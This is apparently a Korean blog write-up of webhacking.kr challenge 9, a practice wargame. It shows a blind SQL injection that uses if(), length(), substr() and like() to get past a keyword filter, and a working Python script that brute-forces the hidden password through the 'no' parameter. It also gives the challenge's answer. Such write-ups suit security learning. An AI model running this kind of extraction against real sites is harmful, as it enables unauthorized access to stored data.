접속하면 위 화면이 나온다. 1,2,3을 순서대로 클릭해본다.
url로 값이 전달되는 것을 보아 GET 방식으로 통신한다.
no=3으로 접속하면 "column: id, no" 라고 적혀 있고, id가 password값이라는 것을 알 수 있다.
예상 쿼리문을 짜보면 SELECT id FROM DB_TABLE WHERE no=$_GET['no'];
위 사진처럼 no에 잘못된 값이 입력되면 텍스트박스만 화면에 출력되는 것을 알 수 있다.
쿼리문이 거짓일 때 : 아무것도 안 나온다.
쿼리문이 참일 때 : 컬럼의 데이터 값이 나온다.
이를 활용해 blind sql injection이 가능한 것을 알 수 있다.
쿼리문에 필요한 문자가 어떤 것이 있는지 테스트해본다.
사용 불가 : and, or, ||, &&, select, union, ' ..........
사용 가능 : ), (, 0x, if, length, in, like, substr ..............
우선 id컬럼을 확인해야한다. if함수를 활용한다.
if(조건, 참일 때 값, 거짓일 때 값)
SELECT id FROM DB_TABLE WHERE no=if(length(id)like(id 길이),3,0);
1부터 쭉 돌려보면 11이 나오는걸 확인할 수 있다.
이젠 substr을 활용해 id값을 확인해본다.
SELECT id FROM DB_TABLE WHERE no=if(substr(id,{1~11},1)like(a~Z),3,0);
python을 활용해 injection을 시도한다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
import requests
cookies = {'PHPSESSID': 'l23e993lh0t787nb17so6l592d'} #세션 쿠키를 입력
length = 0
BF_result = ""
#id length 구하기
for i in range(1,100):
url = 'https://webhacking.kr/challenge/web-09/index.php?no=if(length(id)like({}),3,0)'.format(i)
response = requests.get(url=url,cookies=cookies)
print(i)
if 'Secret' in response.text:
length = i
break
#id 값 구하기
for i in range(1,length): #넉넉하게 범위 잡음
for j in range(43,127):
url = 'https://webhacking.kr/challenge/web-09/index.php?no=if(substr(id,{},1)like({}),3,0)'.format(i,hex(j)) #url 주소를 입력
response = requests.get(url=url, cookies=cookies)
#print(BF_result + chr(j))
print("{} {}".format(i,j))
if 'Secret' in response.text:
BF_result += chr(j)
print("password is {}".format(BF_result))
break
print("id is : " + BF_result)
|
cs |
결과를 보면 ALSRKSWHAQL이란 값이 나오는데, 입력하면 아무 반응이 없다.
멘탈 나가서 다른 블로그를 방문해본 결과 문자열을 소문자로 바꿔주면된다. alsrkswhaql
이는 MySQL에서 대문자 소문자를 구분하지 않아서 발생한 문제다. (ALSRKSWHAQL == alsrkswhaql)
'category > 웹해킹(webhacking.kr)' 카테고리의 다른 글
웹해킹(webhacking.kr) - 28번 (0) | 2023.02.16 |
---|---|
웹해킹(webhacking.kr) - 74번 g00gle1 (0) | 2023.02.15 |
웹해킹(webhacking.kr) - 56번 (4) | 2023.02.15 |
웹해킹(webhacking.kr) - 8번 (0) | 2023.02.14 |
웹해킹(webhacking.kr) - 35번 (0) | 2020.11.30 |
웹해킹(webhacking.kr) - 40번 (0) | 2020.11.26 |
webhacking 기본 (0) | 2020.11.24 |
웹해킹(webhacking.kr) - 27번 (0) | 2020.11.24 |
댓글